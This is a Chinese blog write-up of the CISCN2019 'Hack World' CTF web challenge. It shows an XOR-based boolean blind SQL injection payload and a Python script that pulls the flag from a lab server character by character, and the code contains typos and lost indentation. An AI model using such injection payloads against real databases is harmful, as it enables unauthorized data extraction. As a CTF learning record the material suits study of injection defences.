[CISCN2019 华北赛区 Day2 Web1]Hack World 1详解
2024-09-06 20:30:31
打开题目,
我们开始尝试注入,
输入0回显Error Occured When Fetch Result.
输入1回显Hello, glzjin wants a girlfriend.
输入2回显Do you want to be my girlfriend?
输入大于2的数回显:Error Occured When Fetch Result.
但是有趣的是,我们输入1/1结果回显了Hello, glzjin wants a girlfriend.
于是我们判断它是数字型注入
然后我们继续测试,发现过滤了很多关键字 如:or 、 union、and等,但是没有过滤()于是我们可以使用很多函数
在这里我们使用bool(false)盲注,而且用到了异或,这东西相当于or的用法
0^0 //false
0^1 //true
于是构造payload: 0^(asscii(substr((select(flag)from(flag)),1,1))>0)
然后我们通过burpsuite发包,结果回显正常
于是我们就开始写exp: 这里读了大佬的脚本,我读了半天才读懂,希望可以给大家带来的新的知识吧
import requests
import time
url="http://2a0a6c19-14aa-4d4a-9201-781b95825f15.node3.buuoj.cn/index.php"
flag=""
payload={
"id" : ""
}
for i in range(1,43):
for j in range(29,129):
payload["id"]="0^(asscii((substr(select(flag)from(flag)),{0},1))={j})".format(i,j)
html=requests.post(url,data=payload)
if "Hello, glzjin wants a girlfriend" in html.text:
break;
if j>128:
continue;
flag=flag+chr(j)
print(flag)
time.sleep(2)
python一定要注意段落缩进,我跑了半天说我缩进有问题,我也是服了,也是自己不知道python的语言规则吧,吃一堑长一智。
然后我们就可以跑出flag了。
也是看了很久大佬的wp才学会这样玩,真舒服。继续加油吧
最新文章
- Angular2 小贴士-多级注入器
- 3-Spark高级数据分析-第三章 音乐推荐和Audioscrobbler数据集
- HTML label标签的for属性--input标签的accesskey属性
- [原]零基础学习视频解码之android篇系列文章
- python获取命令行参数的方法
- TensorFlow简单介绍和在centos上的安装
- java.lang.RuntimeException: java.lang.ClassNotFoundException: cmd.CmdWordCount$MyMapper解决方法
- MVC5移除不常用Nuget命令
- 获取sdcard和内存的存储空间
- 就是这么简单(续)!使用 RestAssuredMockMvc 测试 Spring MVC Controllers(转)
- Android的ListView异步加载图片时,错位、重复、闪烁问题的分析及解决方法
- windows server 2016远程桌面进去,英文系统修改语言
- MPAndroidChart图形联动
- linux下tomcat的https访问
- Python基础环境搭建
- windows被入侵检测
- AngularJS实战之ng-repeat的详细用法
- Sublime Text 3 配置 PHPCS 插件
- [转]为什么Java中的HashMap默认加载因子是0.75
- 并发基础(十) 线程局部副本ThreadLocal之正解
热门文章
- Java生成1,2,2,3,3,3,4,4,4,4,5...序列
- Java实现获取命令行中的指定数据
- 【机器学习】:Kmeans均值聚类算法原理(附带Python代码实现)
- SpringBoot写后端接口,看这一篇就够了!
- [算法题]最小m划分(划分DP)
- windows操作系统的电脑越用越卡?简说几种原因和解决方法。
- flutter实现可缩放可拖拽双击放大的图片功能
- GO练习题
- 企业项目实战 .Net Core + Vue/Angular 分库分表日志系统二 | 简单的分库分表设计
- 【转】Locust性能-零基础入门系列(3)-压力权重